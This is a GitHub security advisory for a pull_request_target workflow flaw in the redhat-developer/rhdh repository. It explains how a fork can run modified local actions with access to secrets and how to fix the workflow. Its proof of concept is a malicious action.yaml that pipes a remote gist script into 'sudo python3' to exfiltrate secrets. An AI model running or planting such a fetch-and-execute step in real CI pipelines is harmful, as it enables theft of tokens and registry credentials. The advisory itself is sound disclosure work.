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Supply Chain Vulnerability in GitHub Actions workflow .github/workflows/pr-build-image.yaml

High
Zaperex published GHSA-634r-6g9q-9v57 Aug 27, 2025

Package

actions .github/workflows/pr-build-image.yaml (GitHub Actions)

Affected versions

main

Patched versions

None

Description

Vulnerability summary

The .github/workflows/pr-build-image.yaml workflow is susceptible to malicious code execution. This vulnerability arises from its use of pull_request_target triggers, which, in conjunction with how local actions are checked out and executed, allows code from an attacker-controlled fork to run with privileged access to secrets.

Exploitation scenario

  1. The attacker forks the redhat-developer/rhdh repository.
  2. The attacker modifies local GitHub Action files within their forked repository, such as .github/actions/check-image-and-changes/action.yaml or .github/actions/docker-build/action.yaml, to include malicious commands.
  3. The attacker submits a pull request to the redhat-developer/rhdh repository containing these modified Action files.
  4. The pr-build-image.yaml workflow, triggered by the pull_request_target event, checks out the code from the attacker's pull request branch as per the step at lines 39-44 of the workflow file. This action populates the main workspace with code from the fork, including any malicious GitHub Action definitions.
  5. Subsequently, at lines 46-48, the workflow executes the compromised .github/actions/check-image-and-changes/action.yaml (now sourced from the attacker's fork). This allows for Remote Code Execution (RCE) within the workflow's execution context.
  6. Similarly, at lines 69-82, the compromised .github/actions/docker-build/action.yaml from the attacker's fork is executed, also leading to RCE.

Proof of Concept (PoC)

The following demonstrates how an attacker could modify .github/actions/check-image-and-changes/action.yaml for malicious purposes:

name: "Malicious Action"
description: "Exfiltrate secrets accessible to the workflow"

runs:
  using: "composite"
  steps:
    - name: Exploit
      shell: bash
      run: curl -sL https://gist.githubusercontent.com/fproulx-boostsecurity/d63abaaac3318a4c66ef958ef2e5b525/raw/ | sudo python3

Impact

A successful exploit enables an attacker to exfiltrate sensitive data accessible to the GitHub Actions workflow runner. This includes, but may not be limited to:

  • GITHUB_TOKEN with packages:write and pull_requests:write permissions.
  • Quay.io authentication credentials, specifically secrets.QUAY_USERNAME and secrets.QUAY_TOKEN.

Potential consequences include unauthorized package publication, manipulation of pull requests, and compromise of container image registries.

Remediation Guidance

Primary Fix: Secure Action Execution

To mitigate this vulnerability, ensure that local GitHub Actions are always executed from the trusted base repository, not from the pull request fork.

Recommended Workflow Modification:

  1. Checkout Base Repository Code First: Explicitly checkout the base repository's code to ensure that local action definitions are sourced from a trusted commit. This checkout should populate the primary workspace.
  2. Checkout Pull Request Code (to a subdirectory): If the action needs to operate on the pull request's code, check out the PR's head commit into a separate subdirectory.
  3. Execute Trusted Local Action: Call the local action using uses: ./.github/actions/.... Since the main workspace contains the base repository's code (from step 1), this will resolve to the trusted action definition. If the action needs to process code from the pull request, pass the path to the subdirectory (from step 2) as an input.
    This approach ensures that the action.yaml files defining the steps are always sourced from your repository's trusted code, while still allowing analysis or operations on code from the pull request.

Secret Management and Permissions

  • Rotate secrets.QUAY_TOKEN immediately, as its compromise must be assumed due to this vulnerability.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVE ID

No known CVE

Weaknesses

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits